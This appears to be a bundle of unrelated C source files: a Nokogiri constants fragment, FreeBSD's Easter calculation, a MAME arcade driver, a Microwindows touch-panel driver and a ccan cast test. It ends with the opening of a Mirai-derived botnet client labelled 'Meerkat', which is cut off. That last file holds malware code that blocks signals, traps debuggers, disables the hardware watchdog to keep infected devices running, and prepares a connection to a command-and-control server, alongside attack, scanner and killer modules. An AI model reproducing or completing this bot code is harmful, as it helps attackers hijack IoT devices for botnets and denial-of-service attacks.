INT2NUM(XML_EXTERNAL_GENERAL_PARSED_ENTITY)); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("EXTERNAL_GENERAL_UNPARSED"), INT2NUM(XML_EXTERNAL_GENERAL_UNPARSED_ENTITY)); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("INTERNAL_PARAMETER"), INT2NUM(XML_INTERNAL_PARAMETER_ENTITY)); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("EXTERNAL_PARAMETER"), INT2NUM(XML_EXTERNAL_PARAMETER_ENTITY)); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("INTERNAL_PREDEFINED"), INT2NUM(XML_INTERNAL_PREDEFINED_ENTITY)); }
206852.c
/*- * Copyright (c) 1997 Wolfgang Helbig * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> __FBSDID("$FreeBSD: src/lib/libcalendar/easter.c,v 1.5.36.1.6.1 2010/12/21 17:09:25 kensmith Exp $"); #include "calendar.h" typedef struct date date; static int easterodn(int y); /* Compute Easter Sunday in Gregorian Calendar */ date * easterg(int y, date *dt) { int c, i, j, k, l, n; n = y % 19; c = y / 100; k = (c - 17) / 25; i = (c - c/4 -(c-k)/3 + 19 * n + 15) % 30; i = i -(i/28) * (1 - (i/28) * (29/(i + 1)) * ((21 - n)/11)); j = (y + y/4 + i + 2 - c + c/4) % 7; l = i - j; dt->m = 3 + (l + 40) / 44; dt->d = l + 28 - 31*(dt->m / 4); dt->y = y; return (dt); } /* Compute the Gregorian date of Easter Sunday in Julian Calendar */ date * easterog(int y, date *dt) { return (gdate(easterodn(y), dt)); } /* Compute the Julian date of Easter Sunday in Julian Calendar */ date * easteroj(int y, date * dt) { return (jdate(easterodn(y), dt)); } /* Compute the day number of Easter Sunday in Julian Calendar */ static int easterodn(int y) { /* * Table for the easter limits in one metonic (19-year) cycle. 21 * to 31 is in March, 1 through 18 in April. Easter is the first * sunday after the easter limit. */ int mc[] = {5, 25, 13, 2, 22, 10, 30, 18, 7, 27, 15, 4, 24, 12, 1, 21, 9, 29, 17}; /* Offset from a weekday to next sunday */ int ns[] = {6, 5, 4, 3, 2, 1, 7}; date dt; int dn; /* Assign the easter limit of y to dt */ dt.d = mc[y % 19]; if (dt.d < 21) dt.m = 4; else dt.m = 3; dt.y = y; /* Return the next sunday after the easter limit */ dn = ndaysj(&dt); return (dn + ns[weekday(dn)]); }
833363.c
/* 05/01/2003 MooglyGuy/Ryan Holtz - Corrected second AY (shouldn't have been there) - Added first AY's status read - Added coinage DIP - What the hell are those unmapped port writes!? Not AY... 2003.01.01. Tomasz Slanina changes : - nmi generation ( incorrect freq probably) - music/sfx (partially) - more sprite tiles (twice than before) - fixed sprites flips - scrolling (2nd game level) - better colors (weird 'hack' .. but works in most cases ( comparing with screens from emustatus )) - dips - lives - visible area .. a bit smaller (at least bg 'generation' is not visible for scrolling levels ) - cpu clock .. now 4 mhz */ #include "driver.h" #include "cpu/z80/z80.h" #include "sound/ay8910.h" static UINT8 *skyarmy_videoram; static UINT8 *skyarmy_colorram; static UINT8 *skyarmy_scrollram; static tilemap* skyarmy_tilemap; static TILE_GET_INFO( get_skyarmy_tile_info ) { int code = skyarmy_videoram[tile_index]; int attr = skyarmy_colorram[tile_index]; /* bit 0 <-> bit 2 ????? */ switch(attr) { case 1: attr=4; break; case 3: attr=6; break; case 4: attr=1; break; case 6: attr=3; break; } SET_TILE_INFO( 0, code, attr, 0); } static WRITE8_HANDLER( skyarmy_videoram_w ) { skyarmy_videoram[offset] = data; tilemap_mark_tile_dirty(skyarmy_tilemap,offset); } static WRITE8_HANDLER( skyarmy_colorram_w ) { skyarmy_colorram[offset] = data; tilemap_mark_tile_dirty(skyarmy_tilemap,offset); } static PALETTE_INIT( skyarmy ) { int i; for (i = 0;i < 32;i++) { int bit0,bit1,bit2,r,g,b; bit0 = (*color_prom >> 0) & 0x01; bit1 = (*color_prom >> 1) & 0x01; bit2 = (*color_prom >> 2) & 0x01; r = 0x21 * bit0 + 0x47 * bit1 + 0x97 * bit2; bit0 = (*color_prom >> 3) & 0x01; bit1 = (*color_prom >> 4) & 0x01; bit2 = (*color_prom >> 5) & 0x01; g = 0x21 * bit0 + 0x47 * bit1 + 0x97 * bit2; bit0=0; bit1 = (*color_prom >> 6) & 0x01; bit2 = (*color_prom >> 7) & 0x01; b = 0x21 * bit0 + 0x47 * bit1 + 0x97 * bit2; palette_set_color(machine,i,MAKE_RGB(r,g,b)); color_prom++; } } static VIDEO_START( skyarmy ) { skyarmy_tilemap = tilemap_create(machine, get_skyarmy_tile_info,tilemap_scan_rows,8,8,32,32); tilemap_set_scroll_cols(skyarmy_tilemap,32); } static VIDEO_UPDATE( skyarmy ) { int sx, sy, flipx, flipy, offs,pal; int i; for(i=0;i<0x20;i++)tilemap_set_scrolly( skyarmy_tilemap,i,skyarmy_scrollram[i]); tilemap_draw(bitmap,cliprect,skyarmy_tilemap,0,0); for (offs = 0 ; offs < 0x40; offs+=4) { pal=spriteram[offs+2]&0x7; switch(pal) { case 1: pal=4; break; case 2: pal=2; break; case 3: pal=6; break; case 4: pal=1; break; case 6: pal=3; break; } sx = spriteram[offs+3]; sy = 242-spriteram[offs]; flipy = (spriteram[offs+1]&0x80)>>7; flipx = (spriteram[offs+1]&0x40)>>6; drawgfx_transpen(bitmap,cliprect,screen->machine->gfx[1], spriteram[offs+1]&0x3f, pal, flipx,flipy, sx,sy,0); } return 0; } static int skyarmy_nmi=0; static INTERRUPT_GEN( skyarmy_nmi_source ) { if(skyarmy_nmi) cpu_set_input_line(device,INPUT_LINE_NMI, PULSE_LINE) ; } static WRITE8_HANDLER( nmi_enable_w ) { skyarmy_nmi=data&1; } static ADDRESS_MAP_START( skyarmy_map, ADDRESS_SPACE_PROGRAM, 8 ) AM_RANGE(0x0000, 0x7fff) AM_ROM AM_RANGE(0x8000, 0x87ff) AM_RAM AM_RANGE(0x8800, 0x8fff) AM_RAM_WRITE(skyarmy_videoram_w) AM_BASE(&skyarmy_videoram) /* Video RAM */ AM_RANGE(0x9000, 0x93ff) AM_RAM_WRITE(skyarmy_colorram_w) AM_BASE(&skyarmy_colorram) /* Color RAM */ AM_RANGE(0x9800, 0x983f) AM_RAM AM_BASE(&spriteram) AM_SIZE(&spriteram_size) /* Sprites */ AM_RANGE(0x9840, 0x985f) AM_RAM AM_BASE(&skyarmy_scrollram) /* Scroll RAM */ AM_RANGE(0xa000, 0xa000) AM_READ_PORT("DSW") AM_RANGE(0xa001, 0xa001) AM_READ_PORT("P1") AM_RANGE(0xa002, 0xa002) AM_READ_PORT("P2") AM_RANGE(0xa003, 0xa003) AM_READ_PORT("SYSTEM") AM_RANGE(0xa004, 0xa004) AM_WRITE(nmi_enable_w) // ??? AM_RANGE(0xa005, 0xa005) AM_WRITENOP AM_RANGE(0xa006, 0xa006) AM_WRITENOP AM_RANGE(0xa007, 0xa007) AM_WRITENOP ADDRESS_MAP_END static ADDRESS_MAP_START( skyarmy_io_map, ADDRESS_SPACE_IO, 8 ) ADDRESS_MAP_GLOBAL_MASK(0xff) AM_RANGE(0x04, 0x05) AM_DEVWRITE("ay", ay8910_address_data_w) AM_RANGE(0x06, 0x06) AM_DEVREAD("ay", ay8910_r) ADDRESS_MAP_END static INPUT_PORTS_START( skyarmy ) PORT_START("DSW") PORT_DIPNAME( 0x03, 0x02, DEF_STR( Lives ) ) PORT_DIPSETTING( 0x00, "2" ) PORT_DIPSETTING( 0x01, "3" ) PORT_DIPSETTING( 0x02, "4" ) PORT_DIPSETTING( 0x03, DEF_STR (Free_Play )) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Coinage ) ) PORT_DIPSETTING( 0x00, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x01, DEF_STR( 1C_2C ) ) /* coinage - bits 4-7 ? */ PORT_START("P1") PORT_BIT( 0x01, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_PLAYER(1) PORT_BIT( 0x02, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_PLAYER(1) PORT_BIT( 0x04, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_PLAYER(1) PORT_BIT( 0x08, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(1) PORT_BIT( 0x10, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x20, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0xC0, IP_ACTIVE_HIGH, IPT_UNUSED ) PORT_START("P2") PORT_BIT( 0x01, IP_ACTIVE_HIGH, IPT_JOYSTICK_UP ) PORT_PLAYER(2) PORT_BIT( 0x02, IP_ACTIVE_HIGH, IPT_JOYSTICK_DOWN ) PORT_PLAYER(2) PORT_BIT( 0x04, IP_ACTIVE_HIGH, IPT_JOYSTICK_LEFT ) PORT_PLAYER(2) PORT_BIT( 0x08, IP_ACTIVE_HIGH, IPT_JOYSTICK_RIGHT ) PORT_PLAYER(2) PORT_BIT( 0x10, IP_ACTIVE_HIGH, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x20, IP_ACTIVE_HIGH, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0xC0, IP_ACTIVE_HIGH, IPT_UNUSED ) PORT_START("SYSTEM") PORT_BIT( 0x01, IP_ACTIVE_HIGH, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_HIGH, IPT_START1 ) PORT_BIT( 0x04, IP_ACTIVE_HIGH, IPT_START2 ) PORT_BIT( 0x08, IP_ACTIVE_HIGH, IPT_BUTTON3 ) PORT_BIT( 0x10, IP_ACTIVE_HIGH, IPT_BUTTON4 ) PORT_BIT( 0x20, IP_ACTIVE_HIGH, IPT_BUTTON5 ) PORT_BIT( 0x40, IP_ACTIVE_HIGH, IPT_BUTTON6 ) PORT_BIT( 0x80, IP_ACTIVE_HIGH, IPT_BUTTON7 ) INPUT_PORTS_END static const gfx_layout charlayout = { 8,8, 256, 2, { 0, 256*8*8 }, { 0, 1, 2, 3, 4, 5, 6, 7 }, { 0*8, 1*8, 2*8, 3*8, 4*8, 5*8, 6*8, 7*8 }, 8*8 }; static const gfx_layout spritelayout = { 16,16, 32*2, 2, { 0, 256*8*8 }, { 0, 1, 2, 3, 4, 5, 6, 7, 8*8+0, 8*8+1, 8*8+2, 8*8+3, 8*8+4, 8*8+5, 8*8+6, 8*8+7 }, { 0*8, 1*8, 2*8, 3*8, 4*8, 5*8, 6*8, 7*8, 16*8,17*8,18*8,19*8,20*8,21*8,22*8,23*8 }, 32*8 }; static GFXDECODE_START( skyarmy ) GFXDECODE_ENTRY( "gfx1", 0, charlayout, 0, 32 ) GFXDECODE_ENTRY( "gfx2", 0, spritelayout, 0, 32 ) GFXDECODE_END static MACHINE_DRIVER_START( skyarmy ) MDRV_CPU_ADD("maincpu", Z80,4000000) MDRV_CPU_PROGRAM_MAP(skyarmy_map) MDRV_CPU_IO_MAP(skyarmy_io_map) MDRV_CPU_VBLANK_INT("screen", irq0_line_hold) MDRV_CPU_PERIODIC_INT(skyarmy_nmi_source,650) /* Hz */ /* video hardware */ MDRV_SCREEN_ADD("screen", RASTER) MDRV_SCREEN_REFRESH_RATE(60) MDRV_SCREEN_VBLANK_TIME(ATTOSECONDS_IN_USEC(0)) MDRV_SCREEN_FORMAT(BITMAP_FORMAT_INDEXED16) MDRV_SCREEN_SIZE(32*8,32*8) MDRV_SCREEN_VISIBLE_AREA(0*8,32*8-1,1*8,31*8-1) MDRV_GFXDECODE(skyarmy) MDRV_PALETTE_LENGTH(32) MDRV_PALETTE_INIT(skyarmy) MDRV_VIDEO_START(skyarmy) MDRV_VIDEO_UPDATE(skyarmy) /* sound hardware */ MDRV_SPEAKER_STANDARD_MONO("mono") MDRV_SOUND_ADD("ay", AY8910, 2500000) MDRV_SOUND_ROUTE(ALL_OUTPUTS, "mono", 0.15) MACHINE_DRIVER_END ROM_START( skyarmy ) ROM_REGION( 0x10000, "maincpu", 0 ) ROM_LOAD( "a1h.bin", 0x0000, 0x2000, CRC(e3fb9d70) SHA1(b8e3a6d7d6ef30c1397f9b741132c5257c16be2d) ) ROM_LOAD( "a2h.bin", 0x2000, 0x2000, CRC(0417653e) SHA1(4f6ad7335b5b7e85b4e16cce3c127488c02401b2) ) ROM_LOAD( "a3h.bin", 0x4000, 0x2000, CRC(95485e56) SHA1(c4cbcd31ba68769d2d0d0875e2a92982265339ae) ) ROM_LOAD( "j4.bin", 0x6000, 0x2000, CRC(843783df) SHA1(256d8375a8af7de080d456dbc6290a22473d011b) ) ROM_REGION( 0x1000, "gfx1", 0 ) ROM_LOAD( "13b.bin", 0x0000, 0x0800, CRC(3b0e0f7c) SHA1(2bbba10121d3e745146f50c14dc6df97de40fb96) ) ROM_LOAD( "15b.bin", 0x0800, 0x0800, CRC(5ccfd782) SHA1(408406ae068e5578b8a742abed1c37dcd3720fe5) ) ROM_REGION( 0x1000, "gfx2", 0 ) ROM_LOAD( "8b.bin", 0x0000, 0x0800, CRC(6ac6bd98) SHA1(e653d80ec1b0f8e07821ea781942dae3de7d238d) ) ROM_LOAD( "10b.bin", 0x0800, 0x0800, CRC(cada7682) SHA1(83ce8336274cb8006a445ac17a179d9ffd4d6809) ) ROM_REGION( 0x0020, "proms", 0 ) ROM_LOAD( "a6.bin", 0x0000, 0x0020, CRC(c721220b) SHA1(61b3320fb616c0600d56840cb6438616c7e0c6eb) ) ROM_END GAME( 1982, skyarmy, 0, skyarmy, skyarmy, 0, ROT90, "Shoei", "Sky Army", GAME_WRONG_COLORS )
952954.c
/* * drivers/mou_tp.c * * Touch-panel driver * * Designed for for use with the Linux-VR project touch-panel kernel driver. * This includes the VTech Helio. * Also runs with Embedded Planet's PowerPC LinuxPlanet. * Also runs with Yopy (untested, can use mou_yopy.c also) * * Requires /dev/tpanel kernel driver (char special 10,11) * * Copyright (C) 1999 Bradley D. LaRonde <[email protected]> * Portions Copyright (c) 2001 Kevin Oh <[email protected]> * Portions Copyright (c) 1999, 2000 Greg Haerr <[email protected]> * Portions Copyright (c) 1991 David I. Bell * * This program is free software; you may redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <math.h> #include <sys/ioctl.h> #if !defined(TPHELIO) && !defined(YOPY) #include <linux/tpanel.h> #endif #include "device.h" #include "mou_tp.h" #define EMBEDDEDPLANET 0 /* =1 for embeddedplanet ppc framebuffer*/ #if EMBEDDEDPLANET #define DATACHANGELIMIT 50 #else #define DATACHANGELIMIT 100 #endif /* * Enable absolute coordinate transformation. * Normally this should be left at 1. * To disable transformation, set it to 0 before calling MwMain(). * This is done by the pointer calibration utility since it's used * to produce the pointer calibration data file. */ int enable_pointing_coordinate_transform = 1; static TRANSFORMATION_COEFFICIENTS tc; /* file descriptor for touch panel */ static int pd_fd; int GetPointerCalibrationData(void) { /* * Read the calibration data from the calibration file. * Calibration file format is seven coefficients separated by spaces. */ /* Get pointer calibration data from this file */ const char cal_filename[] = "/etc/pointercal"; int items; FILE* f = fopen(cal_filename, "r"); if ( f == NULL ) { EPRINTF("Error %d opening pointer calibration file %s.\n", errno, cal_filename); return -1; } items = fscanf(f, "%d %d %d %d %d %d %d", &tc.a, &tc.b, &tc.c, &tc.d, &tc.e, &tc.f, &tc.s); if ( items != 7 ) { EPRINTF("Improperly formatted pointer calibration file %s.\n", cal_filename); return -1; } #if TEST EPRINTF("a=%d b=%d c=%d d=%d e=%d f=%d s=%d\n", tc.a, tc.b, tc.c, tc.d, tc.e, tc.f, tc.s); #endif return 0; } inline MWPOINT DeviceToScreen(MWPOINT p) { /* * Transform device coordinates to screen coordinates. * Take a point p in device coordinates and return the corresponding * point in screen coodinates. * This can scale, translate, rotate and/or skew, based on the * coefficients calculated above based on the list of screen * vs. device coordinates. */ static MWPOINT prev; /* set slop at 3/4 pixel */ const short slop = TRANSFORMATION_UNITS_PER_PIXEL * 3 / 4; MWPOINT new, out; /* transform */ new.x = (tc.a * p.x + tc.b * p.y + tc.c) / tc.s; new.y = (tc.d * p.x + tc.e * p.y + tc.f) / tc.s; /* hysteresis (thanks to John Siau) */ if ( abs(new.x - prev.x) >= slop ) out.x = (new.x | 0x3) ^ 0x3; else out.x = prev.x; if ( abs(new.y - prev.y) >= slop ) out.y = (new.y | 0x3) ^ 0x3; else out.y = prev.y; prev = out; return out; } #ifndef YOPY static int PD_Open(MOUSEDEVICE *pmd) { /* * open up the touch-panel device. * Return the fd if successful, or negative if unsuccessful. */ #ifndef TPHELIO struct scanparam s; int settle_upper_limit; int result; #endif pd_fd = open("/dev/tpanel", O_NONBLOCK); if (pd_fd < 0) { EPRINTF("Error %d opening touch panel\n", errno); return -1; } #ifndef TPHELIO /* set interval to 5000us (200Hz) */ s.interval = 5000; /* * Upper limit on settle time is approximately (scan_interval / 5) - 60 * (5 conversions and some fixed overhead) * The opmtimal value is the lowest that doesn't cause significant * distortion. * 50% of upper limit works well on my Clio. 25% gets into distortion. */ settle_upper_limit = (s.interval / 5) - 60; s.settletime = settle_upper_limit * 50 / 100; result = ioctl(pd_fd, TPSETSCANPARM, &s); if ( result < 0 ) EPRINTF("Error %d, result %d setting scan parameters.\n", result, errno); #endif if (enable_pointing_coordinate_transform) { if (GetPointerCalibrationData() < 0) { close(pd_fd); return -1; } } return pd_fd; } #else /* ifndef YOPY */ static TRANSFORMATION_COEFFICIENTS default_tc = { 68339, 328, -3042464, -508, 91638, -4339545, 65536 }; static int PD_Open(MOUSEDEVICE *pmd) { /* * open up the touch-panel device. * Return the fd if successful, or negative if unsuccessful. */ pd_fd = open("/dev/yopy-ts", O_NONBLOCK); if (pd_fd < 0) { EPRINTF("Error %d opening touch panel\n", errno); return -1; } if (enable_pointing_coordinate_transform) { if (GetPointerCalibrationData() < 0) { //close(pd_fd); //return -1; memcpy( &tc, &default_tc, sizeof(TRANSFORMATION_COEFFICIENTS) ); } } #if 0 EPRINTF("a=%d b=%d c=%d d=%d e=%d f=%d s=%d\n", tc.a, tc.b, tc.c, tc.d, tc.e, tc.f, tc.s); #endif return pd_fd; } #endif static void PD_Close(void) { /* Close the touch panel device. */ if (pd_fd > 0) close(pd_fd); pd_fd = 0; } static int PD_GetButtonInfo(void) { /* get "mouse" buttons supported */ return MWBUTTON_L; } static void PD_GetDefaultAccel(int *pscale,int *pthresh) { /* * Get default mouse acceleration settings * This doesn't make sense for a touch panel. * Just return something inconspicuous for now. */ *pscale = 3; *pthresh = 5; } #ifndef YOPY static int PD_Read(MWCOORD *px, MWCOORD *py, MWCOORD *pz, int *pb) { /* * Read the tpanel state and position. * Returns the position data in x, y, and button data in b. * Returns -1 on error. * Returns 0 if no new data is available. * Returns 1 if position data is relative (i.e. mice). * Returns 2 if position data is absolute (i.e. touch panels). * Returns 3 if position data is not available, but button data is. * This routine does not block. * * Unlike a mouse, this driver returns absolute postions, not deltas. */ /* If z is below this value, ignore the data. */ /* const int low_z_limit = 900; EVEREX*/ #ifndef TPHELIO const int low_z_limit = 815; #endif /* * I do some error masking by tossing out really wild data points. * Lower data_change_limit value means pointer get's "left behind" * more easily. Higher value means less errors caught. * The right setting of this value is just slightly higher than * the number of units traversed per sample during a "quick" stroke. */ #ifndef TPHELIO const int data_change_limit = DATACHANGELIMIT; #endif static int have_last_data = 0; static int last_data_x = 0; static int last_data_y = 0; /* * Thanks to John Siau <[email protected]> for help with the * noise filter. I use an infinite impulse response low-pass filter * on the data to filter out high-frequency noise. Results look * better than a finite impulse response filter. * If I understand it right, the nice thing is that the noise now * acts as a dither signal that effectively increases the resolution * of the a/d converter by a few bits and drops the noise level by * about 10db. * Please don't quote me on those db numbers however. :-) * The end result is that the pointer goes from very fuzzy to much * more steady. Hysteresis really calms it down in the end (elsewhere). * * iir_shift_bits effectively sets the number of samples used by * the filter * (number of samples is 2^iir_shift_bits). * Lower iir_width means less pointer lag, higher iir_width means * steadier pointer. */ const int iir_shift_bits = 3; const int iir_sample_depth = (1 << iir_shift_bits); static int iir_accum_x = 0; static int iir_accum_y = 0; static int iir_accum_z = 0; static int iir_count = 0; int data_x, data_y, data_z; /* read a data point */ #if TPHELIO short data[3]; #else short data[6]; #endif int bytes_read; bytes_read = read(pd_fd, data, sizeof(data)); if (bytes_read != sizeof(data)) { if (errno == EINTR || errno == EAGAIN) { return 0; } return -1; } #ifndef TPHELIO /* did we lose any data? */ if ( (data[0] & 0x2000) ) EPRINTF("Lost touch panel data\n"); /* do we only have contact state data (no position data)? */ if ( (data[0] & 0x8000) == 0 ) { /* is it a pen-release? */ if ( (data[0] & 0x4000) == 0 ) { /* reset the limiter */ have_last_data = 0; /* reset the filter */ iir_count = 0; iir_accum_x = 0; iir_accum_y = 0; iir_accum_z = 0; /* return the pen (button) state only, */ /* indicating that the pen is up (no buttons are down)*/ *pb = 0; return 3; } /* ignore pen-down since we don't know where it is */ return 0; } #endif /* we have position data */ #if TPHELIO data_x = data[1]; data_y = data[2]; data_z = data[0] ? 2000 : 0; #else /* * Combine the complementary panel readings into one value (except z) * This effectively doubles the sampling freqency, reducing noise * by approx 3db. * Again, please don't quote the 3db figure. I think it also * cancels out changes in the overall resistance of the panel * such as may be caused by changes in panel temperature. */ data_x = data[2] - data[1]; data_y = data[4] - data[3]; data_z = data[5]; /* isn't z big enough for valid position data? */ if ( data_z <= low_z_limit ) { return 0; } /* has the position changed more than we will allow? */ if ( have_last_data ) if ( (abs(data_x - last_data_x) > data_change_limit) || ( abs(data_y - last_data_y) > data_change_limit ) ) { return 0; } #endif /* save last position */ last_data_x = data_x; last_data_y = data_y; have_last_data = 1; /* is filter ready? */ if ( iir_count == iir_sample_depth ) { #if TPHELIO if (enable_pointing_coordinate_transform) { MWPOINT transformed = {data_x, data_y}; transformed = DeviceToScreen(transformed); *px = transformed.x >> 2; *py = transformed.y >> 2; } else { *px = data_x; *py = data_y; } *pb = data[0] ? MWBUTTON_L : 0; #else /* make room for new sample */ iir_accum_x -= iir_accum_x >> iir_shift_bits; iir_accum_y -= iir_accum_y >> iir_shift_bits; iir_accum_z -= iir_accum_z >> iir_shift_bits; /* feed new sample to filter */ iir_accum_x += data_x; iir_accum_y += data_y; iir_accum_z += data_z; /* transformation enabled? */ if (enable_pointing_coordinate_transform) { /* transform x,y to screen coords */ MWPOINT transformed = {iir_accum_x, iir_accum_y}; transformed = DeviceToScreen(transformed); /* * HACK: move this from quarter pixels to whole * pixels for now at least until I decide on the * right interface to get the quarter-pixel data * up to the next layer. */ *px = transformed.x >> 2; *py = transformed.y >> 2; } else { /* return untransformed coords (for calibration) */ *px = iir_accum_x; *py = iir_accum_y; } *pb = MWBUTTON_L; #endif /* return filtered pressure */ *pz = iir_accum_z; #ifdef TEST EPRINTF("In: %hd, %hd, %hd Filtered: %d %d %d Out: %d, %d, %d\n", data_x, data_y, data_z, iir_accum_x, iir_accum_y, iir_accum_z, *px, *py, *pz); #endif return 2; } /* prime the filter */ iir_accum_x += data_x; iir_accum_y += data_y; iir_accum_z += data_z; iir_count += 1; return 0; } #else /* ifdef YOPY */ static int PD_Read(MWCOORD *px, MWCOORD *py, MWCOORD *pz, int *pb) { /* * Read the tpanel state and position. * Returns the position data in x, y, and button data in b. * Returns -1 on error. * Returns 0 if no new data is available. * Returns 1 if position data is relative (i.e. mice). * Returns 2 if position data is absolute (i.e. touch panels). * Returns 3 if position data is not available, but button data is. * This routine does not block. * * Unlike a mouse, this driver returns absolute postions, not deltas. */ /* If z is below this value, ignore the data. */ /* const int low_z_limit = 900; EVEREX*/ /* * I do some error masking by tossing out really wild data points. * Lower data_change_limit value means pointer get's "left behind" * more easily. Higher value means less errors caught. * The right setting of this value is just slightly higher than * the number of units traversed per sample during a "quick" stroke. */ int data_x, data_y; /* read a data point */ int bytes_read; int mou_data; bytes_read = read(pd_fd, &mou_data, sizeof(mou_data)); if (bytes_read != sizeof(mou_data)) { if (errno == EINTR || errno == EAGAIN) { return 0; } return -1; } data_x = ((MWCOORD)(mou_data & 0x3ff)); data_y = (MWCOORD)(( mou_data>>10 ) & 0x3ff ); /* transformation enabled? */ if (enable_pointing_coordinate_transform) { /* transform x,y to screen coords */ MWPOINT transformed = {data_x, data_y}; transformed = DeviceToScreen(transformed); /* * HACK: move this from quarter pixels to whole * pixels for now at least until I decide on the * right interface to get the quarter-pixel data * up to the next layer. */ *px = transformed.x >> 2; *py = transformed.y >> 2; } else { /* return untransformed coords (for calibration) */ *px = data_x; *py = data_y; } *pz = 0; *pb = ( mou_data & (1<<31) )? MWBUTTON_L: 0; if ( ! *pb ) return 3; else return 2; } #endif MOUSEDEVICE mousedev = { PD_Open, PD_Close, PD_GetButtonInfo, PD_GetDefaultAccel, PD_Read, NULL }; #ifdef TEST int main() { MWCOORD x, y, z; int b; int result; enable_pointing_coordinate_transform = 1; DPRINTF("Opening touch panel...\n"); if((result=PD_Open(0)) < 0) DPRINTF("Error %d, result %d opening touch-panel\n", errno, result); DPRINTF("Reading touch panel...\n"); while(1) { result = PD_Read(&x, &y, &z, &b); if( result > 0) { /* DPRINTF("%d,%d,%d,%d,%d\n", result, x, y, z, b); */ } } } #endif
367265.c
#include <ccan/cast/cast.h> #include <stdlib.h> int main(void) { char *c; #ifdef FAIL long #else char #endif *p = 0; c = cast_static(char *, p); (void) c; /* Suppress unused-but-set-variable warning. */ return 0; } #ifdef FAIL #if !HAVE_COMPOUND_LITERALS #error "Unfortunately we don't fail if cast_static is a noop" #endif #endif
340523.c
#define _GNU_SOURCE #ifdef DEBUG #include <stdio.h> #endif #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/prctl.h> #include <sys/select.h> #include <signal.h> #include <fcntl.h> #include <sys/ioctl.h> #include <time.h> #include <errno.h> #include "includes.h" #include "table.h" #include "rand.h" #include "attack.h" #include "resolv.h" #include "killer.h" #ifdef MIRAI_TELNET #include "scanner.h" #endif #include "util.h" static void anti_gdb_entry(int); static void resolve_cnc_addr(void); static void establish_connection(void); static void teardown_connection(void); static void ensure_single_instance(void); static BOOL unlock_tbl_if_nodebug(char *); #define SINGLE_INSTANCE_PORT 13324 struct sockaddr_in srv_addr; int fd_ctrl = -1, fd_serv = -1, watchdog_pid = 0; BOOL pending_connection = FALSE; void (*resolve_func)(void) = (void (*)(void))util_local_addr; #ifdef DEBUG static void segv_handler(int sig, siginfo_t *si, void *unused) { printf("[Meerkat] >> got SIGSEGV at address: 0x%lx\n", (long) si->si_addr); exit(EXIT_FAILURE); } #endif int main(int argc, char **args) { char *tbl_exec_succ, name_buf[32], id_buf[32]; int name_buf_len = 0, tbl_exec_succ_len = 0, pgid = 0, pings = 0; #ifndef DEBUG sigset_t sigs; sigemptyset(&sigs); sigaddset(&sigs, SIGINT); sigprocmask(SIG_BLOCK, &sigs, NULL); signal(SIGCHLD, SIG_IGN); signal(SIGTRAP, &anti_gdb_entry); #ifndef DEBUG int wfd; // Signal based control flow sigemptyset(&sigs); sigaddset(&sigs, SIGINT); sigprocmask(SIG_BLOCK, &sigs, NULL); signal(SIGCHLD, SIG_IGN); signal(SIGTRAP, &anti_gdb_entry); // Prevent watchdog from rebooting device if ((wfd = open("/dev/watchdog", 2)) != -1 || (wfd = open("/dev/misc/watchdog", 2)) != -1) { int one = 1; ioctl(wfd, 0x80045704, &one); close(wfd); wfd = 0; } chdir("/"); #endif #endif #ifdef DEBUG printf("[dbg] debug the debug\n"); sleep(1); #endif LOCAL_ADDR = util_local_addr(); srv_addr.sin_family = AF_INET; srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR; srv_addr.sin_port = htons(FAKE_CNC_PORT); table_init(); anti_gdb_entry(0); ensure_single_instance(); rand_init(); util_zero(id_buf, 32); if(argc == 2 && util_strlen(args[1]) < 32) { util_strcpy(id_buf, args[1]); util_zero(args[1], util_strlen(args[1])); } table_unlock_val(TABLE_EXEC_SUCCESS); 